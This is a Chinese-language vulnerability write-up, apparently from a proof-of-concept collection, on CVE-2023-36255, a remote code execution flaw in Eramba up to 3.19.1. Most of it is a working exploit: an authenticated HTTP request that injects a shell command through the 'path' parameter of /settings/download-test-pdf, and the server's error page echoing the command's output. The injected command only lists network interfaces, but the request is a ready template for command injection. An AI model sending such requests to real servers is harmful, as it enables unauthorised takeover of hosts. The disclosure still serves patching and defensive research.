81 lines
2.5 KiB
Markdown
81 lines
2.5 KiB
Markdown
|
**0x01 漏洞详情**
|
|||
|
|
|
|||
|
|
**CVE-2023-36255**
|
|||
|
|
|
|||
|
|
**漏洞类型：**远程代码执行
|
|||
|
|
|
|||
|
|
**影响：**接管服务器
|
|||
|
|
|
|||
|
|
**简述：**Eramba存在远程代码执行漏洞，允许经过身份验证的用户执行任意代码。
|
|||
|
|
|
|||
|
|
###
|
|||
|
|
|
|||
|
|
**0x02 影响版本**
|
|||
|
|
|
|||
|
|
- Enterprise and Community edition <= 3.19.1
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
GET /settings/download-test-pdf?path=ip%20a; HTTP/1.1
|
|||
|
|
Host: [redacted]
|
|||
|
|
Cookie: translation=1; csrfToken=1l2rXXwj1D1hVyVRH%2B1g%2BzIzYTA3OGFiNWRjZWVmODQ1OTU1NWEyODM2MzIwZTZkZTVlNmU1YjY%3D; PHPSESSID=14j6sfroe6t2g1mh71g2a1vjg8
|
|||
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|||
|
|
Accept-Language: de,en-US;q=0.7,en;q=0.3
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Referer: https://[redacted]/settings
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
Sec-Fetch-Dest: document
|
|||
|
|
Sec-Fetch-Mode: navigate
|
|||
|
|
Sec-Fetch-Site: same-origin
|
|||
|
|
Sec-Fetch-User: ?1
|
|||
|
|
Te: trailers
|
|||
|
|
Connection: close
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
HTTP/1.1 500 Internal Server Error
|
|||
|
|
Date: Fri, 31 Mar 2023 12:37:55 GMT
|
|||
|
|
Server: Apache/2.4.41 (Ubuntu)
|
|||
|
|
Access-Control-Allow-Origin: *
|
|||
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|||
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|||
|
|
Pragma: no-cache
|
|||
|
|
Content-Disposition: attachment; filename="test.pdf"
|
|||
|
|
X-DEBUGKIT-ID: d383f6d4-6680-4db0-b574-fe789abc1718
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: text/html; charset=UTF-8
|
|||
|
|
Content-Length: 2033469
|
|||
|
|
|
|||
|
|
<!DOCTYPE html>
|
|||
|
|
<html>
|
|||
|
|
<head>
|
|||
|
|
<meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|||
|
|
<title>
|
|||
|
|
Error: The exit status code '127' says something went wrong:
|
|||
|
|
stderr: "sh: 1: --dpi: not found
|
|||
|
|
"
|
|||
|
|
stdout: "1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
|
|||
|
|
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
|
|||
|
|
inet 127.0.0.1/8 scope host lo
|
|||
|
|
valid_lft forever preferred_lft forever
|
|||
|
|
inet6 ::1/128 scope host
|
|||
|
|
valid_lft forever preferred_lft forever
|
|||
|
|
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
|
|||
|
|
link/ether [redacted] brd ff:ff:ff:ff:ff:ff
|
|||
|
|
inet [redacted] brd [redacted] scope global ens33
|
|||
|
|
valid_lft forever preferred_lft forever
|
|||
|
|
inet6 [redacted] scope link
|
|||
|
|
valid_lft forever preferred_lft forever
|
|||
|
|
"
|
|||
|
|
command: ip a; --dpi '90' --lowquality --margin-bottom '0' --margin-left '0'
|
|||
|
|
--margin-right '0' --margin-top '0' --orientation 'Landscape'
|
|||
|
|
--javascript-delay '1000' '/tmp/knp_snappy6426d4231040e1.91046751.html'
|
|||
|
|
'/tmp/knp_snappy6426d423104587.46971034.pdf'. </title>
|
|||
|
|
|
|||
|
|
[...]
|
|||
|
|
```
|
|||
|
|
|